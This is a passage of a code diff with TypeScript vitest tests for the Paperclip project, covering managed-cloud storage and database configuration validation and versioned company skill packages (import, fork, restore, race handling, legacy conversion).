} catch (error) { process.send?.({ id: message.id, error: error instanceof Error ? error.message : String(error) }); }
});
@@ -0,0 +1,201 @@
import { mkdtempSync, rmSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { createServer } from "node:http";
import type { AddressInfo } from "node:net";
import { createStorageProviderFromConfig } from "../storage/provider-registry.js";
import { createLocalEncryptedCipher } from "../secrets/local-encrypted-provider.js";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { loadConfig } from "../config.js";
import { readConfigFile } from "../config-file.js";
import { readLegacyCloudRuntimeConfig } from "../services/cloud-runtime-config.js";
import { setCloudRuntimeConfigSnapshot } from "../services/cloud-runtime-config-snapshot.js";
const managed = JSON.stringify({
v: 1, mode: "cloud", catalogVersion: "2026.720.0", features: {}, plugins: { autoInstall: [] },
});
let configDir: string;
beforeEach(() => {
setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: null });
configDir = mkdtempSync(path.join(tmpdir(), "paperclip-cloud-config-"));
vi.stubEnv("PAPERCLIP_CONFIG", path.join(configDir, "config.json"));
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", managed);
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "s3");
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", "test-bucket");
vi.stubEnv("PAPERCLIP_STORAGE_S3_REGION", undefined);
vi.stubEnv("PAPERCLIP_STORAGE_S3_ENDPOINT", undefined);
vi.stubEnv("DATABASE_URL", "postgresql://user:private@db.example.test/paperclip");
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012");
});
afterEach(() => {
setCloudRuntimeConfigSnapshot(null);
vi.unstubAllEnvs();
rmSync(configDir, { recursive: true, force: true });
});
function writeConfig(storage: Record<string, unknown>) {
writeFileSync(path.join(configDir, "config.json"), JSON.stringify({
$meta: { version: 1, updatedAt: "2026-10-30T00:00:00.000Z", source: "configure" },
logging: { mode: "file" },
server: {},
storage,
database: { mode: "postgres", connectionString: "postgres://db.example.test/paperclip" },
}));
}
describe("managed cloud configuration boundary", () => {
it("accepts configured S3, external PostgreSQL, and the existing master-key formats", () => {
for (const key of ["12345678901234567890123456789012", Buffer.alloc(32, 7).toString("hex"), Buffer.alloc(32, 7).toString("base64")]) {
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", key);
expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: "test-bucket", storageS3Region: "us-east-1" });
}
});
it.each([undefined, "", "local_disk", "typo"])("rejects storage provider %j without silent fallback", (value) => {
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", value);
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/);
});
it.each([undefined, "", " "])("requires an explicit bucket (%j)", (value) => {
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", value);
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_S3_BUCKET/);
});
it.each(["", " "])("rejects blank region %j", (value) => {
vi.stubEnv("PAPERCLIP_STORAGE_S3_REGION", value);
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_S3_REGION/);
});
it.each(["", "ftp://store.test", "https://user:private@store.test"])("rejects invalid endpoint without exposing it", (value) => {
vi.stubEnv("PAPERCLIP_STORAGE_S3_ENDPOINT", value);
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_S3_ENDPOINT/);
try { loadConfig(); } catch (error) { expect(String(error)).not.toContain("private"); }
});
it.each([undefined, "", "sqlite://local/data", "postgresql://"])("requires an external database URL (%j)", (value) => {
vi.stubEnv("DATABASE_URL", value);
expect(() => loadConfig()).toThrow(/external PostgreSQL URL/);
});
it.each([undefined, "", " ", "short"])("rejects missing or invalid env key (%j), even with a configured key file", (value) => {
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", value);
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY_FILE", "/tmp/unused-master-key");
expect(() => loadConfig()).toThrow(/stable PAPERCLIP_SECRETS_MASTER_KEY/);
});
it("requires the Cloud bootstrap key even when an external secret provider is selected", () => {
vi.stubEnv("PAPERCLIP_SECRETS_PROVIDER", "aws_secrets_manager");
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", undefined);
expect(() => loadConfig()).toThrow(/stable PAPERCLIP_SECRETS_MASTER_KEY/);
vi.stubEnv("PAPERCLIP_SECRETS_MASTER_KEY", "12345678901234567890123456789012");
expect(loadConfig().secretsProvider).toBe("aws_secrets_manager");
});
it.each(["", "{bad", JSON.stringify({ v: 1, mode: "cloud" })])("rejects malformed managed config before startup (%j)", (value) => {
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", value);
expect(() => loadConfig()).toThrow(/PAPERCLIP_MANAGED_CONFIG/);
});
it("accepts imported explicit file storage with an environment-owned database", async () => {
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", undefined);
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
writeConfig({ provider: "s3", s3: { bucket: "file-bucket", region: "eu-west-1" } });
setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: await readLegacyCloudRuntimeConfig() });
expect(loadConfig()).toMatchObject({ storageProvider: "s3", storageS3Bucket: "file-bucket", storageS3Region: "eu-west-1" });
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "typo");
expect(() => loadConfig()).toThrow(/PAPERCLIP_STORAGE_PROVIDER=s3/);
});
it.each([{ provider: "s3" }, { provider: "s3", s3: { region: "us-east-1" } }])("rejects a real config file with an omitted bucket before import (%j)", async storage => {
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
writeConfig(storage);
// Self-hosted readers still expose their default and raw-file provenance.
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", undefined);
expect(readConfigFile({ includeProvenance: true })).toMatchObject({ config: { storage: { s3: { bucket: "paperclip" } } }, explicitStorageS3Bucket: false });
vi.stubEnv("PAPERCLIP_MANAGED_CONFIG", managed);
await expect(readLegacyCloudRuntimeConfig()).rejects.toThrow(/storage.s3.bucket/);
});
it.each(["", " "])("rejects an explicitly blank bucket in a real file (%j)", async bucket => {
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
writeConfig({ provider: "s3", s3: { bucket } });
await expect(readLegacyCloudRuntimeConfig()).rejects.toThrow(/storage.s3.bucket/);
});
it.each([undefined, "", " "].flatMap(bucket => [undefined, "environment-bucket"].map(environmentBucket => ({ bucket, environmentBucket }))))("rejects a legacy local-disk file with no explicit bucket before an S3 environment overlay (%j)", async ({ bucket, environmentBucket }) => {
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", environmentBucket);
writeConfig({ provider: "local_disk", s3: { bucket } });
await expect(readLegacyCloudRuntimeConfig()).rejects.toThrow(/storage.s3.bucket/);
});
it("accepts an explicitly supplied default bucket name in a real file", async () => {
vi.stubEnv("PAPERCLIP_STORAGE_S3_BUCKET", undefined);
writeConfig({ provider: "s3", s3: { bucket: "paperclip" } });
setCloudRuntimeConfigSnapshot({ version: 1, revision: 0, config: await readLegacyCloudRuntimeConfig() });
expect(loadConfig().storageS3Bucket).toBe("paperclip");
});
it("accepts an environment bucket with an authoritative absent-file snapshot", () => {
writeConfig({ provider: "s3" });
expect(loadConfig().storageS3Bucket).toBe("test-bucket");
});
it("preserves ordinary self-hosted defaults, including key-file use", () => {
for (const name of ["PAPERCLIP_MANAGED_CONFIG", "PAPERCLIP_STORAGE_PROVIDER", "PAPERCLIP_STORAGE_S3_BUCKET", "DATABASE_URL", "PAPERCLIP_SECRETS_MASTER_KEY"]) vi.stubEnv(name, undefined);
expect(loadConfig()).toMatchObject({ storageProvider: "local_disk", storageS3Bucket: "paperclip", databaseUrl: undefined, databaseMode: "embedded-postgres" });
vi.stubEnv("PAPERCLIP_STORAGE_PROVIDER", "typo");
expect(loadConfig().storageProvider).toBe("local_disk");
});
});
// Real provider + AWS SDK over loopback. The remote S3 service and credentials
// are simulated; this does not establish deployment bucket permissions.
it("uses the validated config for normal S3 put/read/delete and stable env-key encryption", async () => {
const objects = new Map<string, Buffer>();
const operations: string[] = [];
const server = createServer(async (req, res) => {
const key = new URL(req.url!, "http://localhost").pathname;
operations.push(`${req.method} ${key}`);
if (req.method === "PUT") {
const chunks: Buffer[] = [];
for await (const chunk of req) chunks.push(Buffer.from(chunk));
objects.set(key, Buffer.concat(chunks));
res.end();
} else if (req.method === "GET" && objects.has(key)) {
const body = objects.get(key)!;
res.writeHead(200, { "content-type": "text/plain", "content-length": body.length });
res.end(body);
} else if (req.method === "DELETE") {
objects.delete(key);
res.writeHead(204).end();
} else {
res.writeHead(404).end();
}
});
await new Promise<void>((resolve) => server.listen(0, "127.0.0.1", resolve));
vi.stubEnv("AWS_ACCESS_KEY_ID", "fixture-access-key");
vi.stubEnv("AWS_SECRET_ACCESS_KEY", "fixture-secret-key");
vi.stubEnv("AWS_SESSION_TOKEN", undefined);
vi.stubEnv("PAPERCLIP_STORAGE_S3_ENDPOINT", `http://127.0.0.1:${(server.address() as AddressInfo).port}`);
vi.stubEnv("PAPERCLIP_STORAGE_S3_FORCE_PATH_STYLE", "true");
vi.stubEnv("PAPERCLIP_STORAGE_S3_PREFIX", "disposable-qualification");
try {
const config = loadConfig();
const first = createStorageProviderFromConfig(config);
await first.putObject({ objectKey: "company/object.txt", body: Buffer.from("retained"), contentType: "text/plain", contentLength: 8 });
const replacement = createStorageProviderFromConfig(loadConfig());
const result = await replacement.getObject({ objectKey: "company/object.txt" });
const chunks: Buffer[] = [];
for await (const chunk of result.stream) chunks.push(Buffer.from(chunk));
expect(Buffer.concat(chunks).toString()).toBe("retained");
await replacement.deleteObject({ objectKey: "company/object.txt" });
expect(objects.size).toBe(0);
expect(operations).toEqual(["PUT", "GET", "DELETE"].map(method => `${method} /test-bucket/disposable-qualification/company/object.txt`));
const encrypted = createLocalEncryptedCipher("write").encrypt("saved credential");
expect(createLocalEncryptedCipher("read").decrypt(encrypted)).toBe("saved credential");
} finally {
server.closeAllConnections();
await new Promise<void>((resolve) => server.close(() => resolve()));
}
});
@@ -0,0 +1,395 @@
import { skillInstallationMaintenance } from "../services/skill-installation-maintenance.js";
import { removeRuntimeAssetTree } from "../services/native-runtime/runtime-asset-retention.js";
import { eq } from "drizzle-orm";
import { writePaperclipSkillSyncPreference } from "@paperclipai/adapter-utils/server-utils";
import { materializeSelectedSkills, rehydratePinnedSkillAssets } from "../services/native-runtime/runtime-context.js";
import { nativeRuntimeContextFixture } from "../services/native-runtime/runtime-context.test-fixture.js";
import { randomUUID } from "node:crypto";
import { execFile } from "node:child_process";
import { promisify } from "node:util";
import { fileURLToPath } from "node:url";
import { promises as fs } from "node:fs";
import os from "node:os";
import path from "node:path";
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
import { applyPendingMigrations, agents, heartbeatRuns, companySkills, companySkillVersions, companies, createDb, instanceSettings } from "@paperclipai/db";
import { companySkillService } from "../services/company-skills.js";
import * as storageModule from "../storage/index.js";
import { createStorageService } from "../storage/service.js";
import { createLocalDiskStorageProvider } from "../storage/local-disk-provider.js";
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
const externalDatabase = process.env.PAPERCLIP_SKILL_TEST_DATABASE_URL;
const support = externalDatabase ? { supported: true } : await getEmbeddedPostgresTestSupport();
if (!support.supported) console.warn("Managed skill integration database unavailable:", support);
describe.skipIf(!support.supported)("managed skills use committed versions", () => {
let database: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
let db: ReturnType<typeof createDb>;
let root: string;
let home: string;
const previousHome = process.env.PAPERCLIP_HOME;
const previousInstance = process.env.PAPERCLIP_INSTANCE_ID;
const previousStorage = process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED;
beforeAll(async () => {
if (externalDatabase) {
await applyPendingMigrations(externalDatabase);
database = { connectionString: externalDatabase, cleanup: async () => {} };
} else database = await startEmbeddedPostgresTestDatabase("managed-skill-content-");
db = createDb(database.connectionString);
root = await fs.mkdtemp(path.join(os.tmpdir(), "managed-skill-content-"));
home = path.join(root, "server-a");
process.env.PAPERCLIP_HOME = home;
process.env.PAPERCLIP_INSTANCE_ID = "default";
process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true";
vi.spyOn(storageModule, "getStorageService").mockReturnValue(
createStorageService(createLocalDiskStorageProvider(path.join(root, "objects"))),
);
}, 30_000);
afterAll(async () => {
vi.restoreAllMocks();
if (previousHome === undefined) delete process.env.PAPERCLIP_HOME;
else process.env.PAPERCLIP_HOME = previousHome;
if (previousStorage === undefined) delete process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED;
else process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = previousStorage;
await db?.$client.end({ timeout: 1 });
await database?.cleanup();
if (root) await removeRuntimeAssetTree(root);
if (previousInstance === undefined) delete process.env.PAPERCLIP_INSTANCE_ID;
else process.env.PAPERCLIP_INSTANCE_ID = previousInstance;
});
async function company() {
const id = randomUUID();
await db.insert(companies).values({ id, name: "Managed content", issuePrefix: `M${id.slice(0, 6)}` });
return id;
}
it("imports supporting files from a root-level package without truncating their paths", async () => {
const companyId = await company();
const service = companySkillService(db);
const [imported] = await service.importPackageFiles(companyId, {
"SKILL.md": "---\nname: Root package\n---\n# Root\n",
"references/guide.md": "complete root guide",
});
expect(imported).toBeTruthy();
const skills = await service.list(companyId);
const skill = skills.find(entry => entry.name === "Root package")!;
expect(await service.readFile(companyId, skill.id, "references/guide.md"))
.toMatchObject({ content: "complete root guide" });
});
it.each([
{ storage: "legacy local", env: { PAPERCLIP_STORAGE_PROVIDER: "local_disk" }, expectedStatus: "local_storage" },
{ storage: "shared S3", env: { PAPERCLIP_STORAGE_PROVIDER: "s3",
PAPERCLIP_STORAGE_S3_BUCKET: "managed-skill-cli-fixture", PAPERCLIP_STORAGE_S3_REGION: "us-east-1",
PAPERCLIP_SECRETS_MASTER_KEY: "12345678901234567890123456789012" }, expectedStatus: "provider_mismatch" },
])("loads persisted Cloud configuration for read-only $storage maintenance without seeding it", async ({ env, expectedStatus }) => {
const companyId = await company();
const skill = await companySkillService(db).createLocalSkill(companyId, { name: "Cloud CLI", markdown: "# Cloud CLI" });
const local = await skillInstallationMaintenance(db).verifyVersions({ companyId, limit: 50 });
expect(local.results).toEqual([expect.objectContaining({ versionId: skill.currentVersionId, status: "local_storage" })]);
const key = "cloud-runtime-config:v1";
const run = (phase: string) => promisify(execFile)(process.execPath, [
"--import", fileURLToPath(import.meta.resolve("tsx")),
fileURLToPath(new URL("../../scripts/migrate-skill-packages.ts", import.meta.url)),
`--phase=${phase}`, `--company=${companyId}`, "--limit=50",
], { env: { ...process.env, DATABASE_URL: database.connectionString,
PAPERCLIP_CLOUD_TENANT_SERVER_TOKEN: "disposable-cloud-cli-fixture",
PAPERCLIP_STORAGE_LOCAL_DIR: path.join(root, "objects"), ...env },
timeout: 60_000, maxBuffer: 1024 * 1024 });
await expect(run("eligibility")).rejects.toThrow("Initialize Cloud runtime configuration");
expect(await db.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, key))).toHaveLength(0);
const [persisted] = await db.insert(instanceSettings).values({ singletonKey: key, general: { version: 1, revision: 0, config: null } }).returning();
try {
const eligibility = JSON.parse((await run("eligibility")).stdout.trim().split("\n").at(-1)!);
expect(eligibility.results).toEqual([expect.objectContaining({ versionId: skill.currentVersionId, status: "version_backed" })]);
const verification = JSON.parse((await run("verification")).stdout.trim().split("\n").at(-1)!);
expect(verification.results).toEqual([expect.objectContaining({ versionId: skill.currentVersionId, status: expectedStatus })]);
expect(await db.select().from(instanceSettings).where(eq(instanceSettings.singletonKey, key))).toEqual([persisted]);
} finally {
await db.delete(instanceSettings).where(eq(instanceSettings.singletonKey, key));
}
}, 180_000);
it("forks live linked-local content even when an older saved version exists", async () => {
const companyId = await company();
const directory = path.join(root, `linked-${randomUUID()}`);
await fs.mkdir(directory);
await fs.writeFile(path.join(directory, "SKILL.md"), "# Linked\n");
await fs.writeFile(path.join(directory, "support.txt"), "old saved content");
const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked",
markdown: "# Linked\n", sourceType: "local_path", sourceLocator: directory,
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning();
const service = companySkillService(db);
const saved = await service.createVersion(companyId, linked!.id);
await fs.writeFile(path.join(directory, "support.txt"), "current local content");
await fs.writeFile(path.join(directory, "added.txt"), "new local file");
const forked = await service.createLocalSkill(companyId, { name: "Live fork", forkedFromSkillId: linked!.id });
expect(await service.readFile(companyId, forked.id, "support.txt")).toMatchObject({ content: "current local content" });
expect(await service.readFile(companyId, forked.id, "added.txt")).toMatchObject({ content: "new local file" });
expect((await service.getVersion(companyId, linked!.id, saved.id))?.fileInventory)
.toContainEqual(expect.objectContaining({ path: "support.txt", content: "old saved content" }));
});
it("carries committed version preconditions through a multi-file linked-local restore", async () => {
const companyId = await company();
const directory = path.join(root, `restore-${randomUUID()}`);
await fs.mkdir(directory);
await fs.writeFile(path.join(directory, "SKILL.md"), "# Original\n");
await fs.writeFile(path.join(directory, "support.txt"), "original support");
const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked",
markdown: "# Original\n", sourceType: "local_path", sourceLocator: directory,
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning();
const service = companySkillService(db);
const saved = await service.createVersion(companyId, linked!.id);
const original = (await service.getVersion(companyId, linked!.id, saved.id))!;
await service.updateFile(companyId, linked!.id, "SKILL.md", "# Changed\n");
await service.updateFile(companyId, linked!.id, "support.txt", "changed support");
let versionId = (await service.readFile(companyId, linked!.id, "SKILL.md"))!.versionId;
expect(versionId).toBeTruthy();
for (const file of original.fileInventory) {
const result = await service.updateFile(companyId, linked!.id, file.path, file.content, null,
{ expectedVersionId: versionId });
expect(result.versionId).toBeTruthy();
expect(result.versionId).not.toBe(versionId);
versionId = result.versionId;
}
expect(await service.readFile(companyId, linked!.id, "SKILL.md")).toMatchObject({ content: "# Original\n", versionId });
expect(await service.readFile(companyId, linked!.id, "support.txt")).toMatchObject({ content: "original support", versionId });
});
it("keeps an unassigned skill, supporting bytes and executable mode across fresh homes", async () => {
const companyId = await company();
const a = companySkillService(db);
const skill = await a.createLocalSkill(companyId, { name: "Cold", slug: "cold", markdown: "# First\n" });
expect(skill.sourceType).toBe("managed");
expect(skill.sourceLocator).toBeNull();
expect(skill.currentVersionId).toBeTruthy();
await expect(fs.stat(path.join(home, "instances/default/skills", companyId, "cold"))).rejects.toMatchObject({ code: "ENOENT" });
const saved = await a.updateFile(companyId, skill.id, "scripts/run.sh", "#!/bin/sh\necho cold\n", null,
{ executable: true, expectedVersionId: skill.currentVersionId });
const binary = await a.updateFile(companyId, skill.id, "data.bin", "AP8H", null,
{ encoding: "base64", expectedVersionId: saved.versionId });
await fs.rm(home, { recursive: true, force: true });
process.env.PAPERCLIP_HOME = path.join(root, "server-b");
const b = companySkillService(db);
expect((await b.list(companyId)).some(item => item.id === skill.id)).toBe(true);
expect(await b.readFile(companyId, skill.id, "data.bin")).toMatchObject({ content: "AP8H", encoding: "base64", versionId: binary.versionId });
const updated = await b.updateFile(companyId, skill.id, "SKILL.md", "# Saved on B\n", null, { expectedVersionId: binary.versionId });
const [runtime] = await b.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill.key]), snapshotLatest: true });
expect(runtime).toMatchObject({ versionId: updated.versionId, sourceStatus: "available" });
expect((await fs.stat(path.join(runtime!.source, "scripts/run.sh"))).mode & 0o111).not.toBe(0);
expect(await fs.readFile(path.join(runtime!.source, "data.bin"))).toEqual(Buffer.from([0, 255, 7]));
await fs.rm(process.env.PAPERCLIP_HOME, { recursive: true, force: true });
process.env.PAPERCLIP_HOME = path.join(root, "server-c");
expect(await companySkillService(db).readFile(companyId, skill.id, "SKILL.md"))
.toMatchObject({ content: "# Saved on B\n", versionId: updated.versionId });
expect(await a.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ versionId: updated.versionId });
});
it("rejects a save whose base changed while its package was being prepared", async () => {
const companyId = await company();
const service = companySkillService(db);
const skill = await service.createLocalSkill(companyId, { name: "Race" });
await expect(service.updateFile(companyId, skill.id, "first.md", "first", null, { publication: {
beforeLock: async () => { await service.updateFile(companyId, skill.id, "second.md", "second"); },
} })).rejects.toMatchObject({ status: 409 });
expect(await service.readFile(companyId, skill.id, "second.md")).toMatchObject({ content: "second" });
await expect(service.readFile(companyId, skill.id, "first.md")).rejects.toMatchObject({ status: 404 });
await expect(service.updateFile(companyId, skill.id, "first.md", "stale", null,
{ expectedVersionId: skill.currentVersionId })).rejects.toMatchObject({ status: 409 });
});
it("rolls back publication without changing the head or an existing version", async () => {
const companyId = await company();
const service = companySkillService(db);
const skill = await service.createLocalSkill(companyId, { name: "Rollback", markdown: "# Original" });
await expect(service.updateFile(companyId, skill.id, "SKILL.md", "# Rejected", null,
{ publication: { afterPublish: async () => { throw new Error("failed audit"); } } })).rejects.toThrow("failed audit");
expect(await service.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ content: "# Original", versionId: skill.currentVersionId });
expect(await service.listVersions(companyId, skill.id)).toHaveLength(1);
});
it("does not overwrite a metadata edit committed while content was being prepared", async () => {
const companyId = await company();
const service = companySkillService(db);
const skill = await service.createLocalSkill(companyId, { name: "Metadata race", markdown: "# Original" });
await expect(service.updateFile(companyId, skill.id, "SKILL.md", "# Candidate", null, { publication: {
beforeLock: async () => { await service.updateSkill(companyId, skill.id, { description: "Acknowledged metadata" }); },
} })).rejects.toMatchObject({ status: 409 });
expect(await service.getById(companyId, skill.id)).toMatchObject({ description: "Acknowledged metadata", currentVersionId: skill.currentVersionId });
expect(await service.readFile(companyId, skill.id, "SKILL.md")).toMatchObject({ content: "# Original" });
});
it("restores the exact historical inventory and preserves history through rename and fork", async () => {
const companyId = await company();
const service = companySkillService(db);
const skill = await service.createLocalSkill(companyId, { name: "History", markdown: "# Original" });
const extra = await service.updateFile(companyId, skill.id, "new.md", "not in first version");
const restored = await service.createVersion(companyId, skill.id,
{ sourceVersionId: skill.currentVersionId!, expectedVersionId: extra.versionId });
await expect(service.readFile(companyId, skill.id, "new.md")).rejects.toMatchObject({ status: 404 });
const renamed = await service.renameSkill(companyId, skill.id, { name: "Renamed", expectedVersionId: restored.id });
expect(renamed.skill).toMatchObject({ id: skill.id, sourceType: "managed", sourceLocator: null });
expect((await service.getVersion(companyId, skill.id, skill.currentVersionId!))!.fileInventory)
.toContainEqual({ path: "SKILL.md", kind: "skill", content: "# Original" });
const fork = await service.forkSkill(companyId, skill.id);
expect(fork.skill).toMatchObject({ sourceType: "managed", sourceLocator: null, forkedFromSkillId: skill.id });
expect((await service.readFile(companyId, fork.skill.id, "SKILL.md"))!.content)
.toBe((await service.readFile(companyId, skill.id, "SKILL.md"))!.content);
});
it("persists selection before delivery and rejects deleting a detached active run's pin", async () => {
const companyId = await company();
const service = companySkillService(db);
const skill = await service.createLocalSkill(companyId, { name: "Pinned", markdown: "# pinned bytes" });
const [agent] = await db.insert(agents).values({ companyId, name: "Runner" }).returning();
const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId: agent!.id, status: "running" }).returning();
let persisted = false;
const entries = await service.withRuntimeSkillEntries(companyId, {
onlyKeys: new Set([skill.key]), snapshotLatest: true,
selectVersions: async selected => {
expect(selected).toEqual([expect.objectContaining({ skillId: skill.id, versionId: skill.currentVersionId })]);
expect(selected[0]).not.toHaveProperty("source");
await expect(fs.stat(path.join(process.env.PAPERCLIP_HOME!, "instances/default/skills", companyId,
"__versions__", skill.id, skill.currentVersionId!))).rejects.toMatchObject({ code: "ENOENT" });
await db.update(heartbeatRuns).set({ contextSnapshot: { skillVersions: { [skill.key]: skill.currentVersionId }, skillSelectionSnapshot: true } })
.where(eq(heartbeatRuns.id, run!.id));
persisted = true;
return new Set([skill.key]);
},
}, async entries => { expect(persisted).toBe(true); return entries; });
const config = writePaperclipSkillSyncPreference({}, [{ key: skill.key, versionId: skill.currentVersionId }]);
const selected = await materializeSelectedSkills(config, entries, false);
const context = { ...nativeRuntimeContextFixture(), skills: selected };
const originalHome = process.env.PAPERCLIP_HOME!;
process.env.PAPERCLIP_HOME = path.join(root, `recovery-${randomUUID()}`);
const recovered = await rehydratePinnedSkillAssets(db, { companyId, agentId: agent!.id, runId: run!.id }, context);
expect(recovered.skills[0]!.bundle.digest).toBe(selected[0]!.bundle.digest);
expect(recovered.skills[0]!.bundle.rootPath).not.toBe(selected[0]!.bundle.rootPath);
expect(await fs.readFile(path.join(recovered.skills[0]!.bundle.rootPath, "SKILL.md"), "utf8")).toBe("# pinned bytes");
await expect(rehydratePinnedSkillAssets(db, { companyId, agentId: agent!.id, runId: run!.id }, {
...context, skills: [{ ...selected[0]!, bundle: { ...selected[0]!.bundle, digest: "0".repeat(64) } }],
})).rejects.toThrow("admitted digest");
await expect(service.deleteSkill(companyId, skill.id)).rejects.toMatchObject({ status: 422 });
await db.update(heartbeatRuns).set({ status: "succeeded", finishedAt: new Date() }).where(eq(heartbeatRuns.id, run!.id));
await expect(service.deleteSkill(companyId, skill.id)).resolves.toMatchObject({ id: skill.id });
process.env.PAPERCLIP_HOME = originalHome;
});
it("converts a legacy managed installation without changing its identity or identical version", async () => {
const companyId = await company();
const directory = path.join(root, `legacy-${randomUUID()}`);
await fs.mkdir(directory);
await fs.writeFile(path.join(directory, "SKILL.md"), "# legacy saved");
await fs.writeFile(path.join(directory, "support.txt"), "support");
const [legacy] = await db.insert(companySkills).values({ companyId, key: `company/${companyId}/legacy`, slug: "legacy",
name: "Legacy", markdown: "# legacy saved", sourceType: "local_path", sourceLocator: directory,
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }],
metadata: { sourceKind: "managed_local" } }).returning();
const service = companySkillService(db);
const version = await service.createVersion(companyId, legacy!.id);
await db.update(companySkillVersions).set({ packageFileMap: null }).where(eq(companySkillVersions.id, version.id));
const maintenance = skillInstallationMaintenance(db);
expect((await maintenance.installations({ id: legacy!.id })).results[0]!.status).toBe("conversion_required");
await expect(maintenance.installations({ companyId, apply: true })).rejects.toMatchObject({ status: 409 });
expect((await maintenance.installations({ id: legacy!.id, apply: true, writersStopped: true })).results)
.toEqual([expect.objectContaining({ skillId: legacy!.id, versionId: version.id, status: "converted" })]);
await fs.rm(directory, { recursive: true });
expect(await service.getById(companyId, legacy!.id)).toMatchObject({ sourceType: "managed", sourceLocator: null, currentVersionId: version.id });
expect(await service.readFile(companyId, legacy!.id, "support.txt")).toMatchObject({ content: "support" });
expect((await maintenance.eligibility({ id: legacy!.id })).results[0]!.status).toBe("version_backed");
});
it("reports an unrecoverable legacy installation and leaves linked sources alone", async () => {
const companyId = await company();
const [legacy] = await db.insert(companySkills).values({ companyId, key: "legacy-missing", slug: "legacy-missing", name: "Missing",
markdown: "partial metadata only", sourceType: "local_path", sourceLocator: path.join(root, "absent"),
metadata: { sourceKind: "managed_local" } }).returning();
const [linked] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked",
markdown: "# Linked", sourceType: "local_path", sourceLocator: path.join(root, "linked") }).returning();
const report = await skillInstallationMaintenance(db).installations({ companyId, apply: true, writersStopped: true });
expect(report.results).toEqual(expect.arrayContaining([
expect.objectContaining({ skillId: legacy!.id, status: "blocked" }),
expect.objectContaining({ skillId: linked!.id, status: "linked_local" }),
]));
expect(await companySkillService(db).getById(companyId, legacy!.id)).toMatchObject({ sourceType: "local_path", currentVersionId: null });
});
it("converts a missing legacy directory from its complete saved version", async () => {
const companyId = await company();
const service = companySkillService(db);
const skill = await service.createLocalSkill(companyId, { name: "Saved conversion", markdown: "# saved" });
const saved = await service.updateFile(companyId, skill.id, "support.txt", "complete supporting content");
await db.update(companySkills).set({ sourceType: "local_path", sourceLocator: path.join(root, "missing-legacy"),
metadata: { sourceKind: "managed_local" } }).where(eq(companySkills.id, skill.id));
const maintenance = skillInstallationMaintenance(db);
expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results)
.toEqual([expect.objectContaining({ skillId: skill.id, versionId: saved.versionId, status: "converted" })]);
expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]!.status).toBe("unchanged");
expect(await service.readFile(companyId, skill.id, "support.txt")).toMatchObject({ content: "complete supporting content" });
});
it.each([false, true])("blocks an incomplete installed repository version and converts only its exact source (package: %s)", async packaged => {
const companyId = await company(), service = companySkillService(db);
process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = String(packaged);
const skill = await service.createLocalSkill(companyId, { name: "Partial legacy repository", markdown: "# Installed revision" });
process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true";
const commit = "a".repeat(40);
await db.update(companySkills).set({ sourceType: "github", sourceLocator: `https://github.com/fixture/skills/tree/${commit}/fixture`,
sourceRef: commit, metadata: { owner: "fixture", repo: "skills", repoSkillDir: "fixture" },
fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "reference.md", kind: "reference" }],
}).where(eq(companySkills.id, skill.id));
const fetchMock = vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response("unavailable", { status: 404 }));
try {
const maintenance = skillInstallationMaintenance(db);
expect((await maintenance.eligibility({ id: skill.id })).results[0]).toMatchObject({ status: "incomplete_current_version" });
expect((await maintenance.verifyVersions({ id: skill.currentVersionId! })).results[0]).toMatchObject({ status: "incomplete_current_version" });
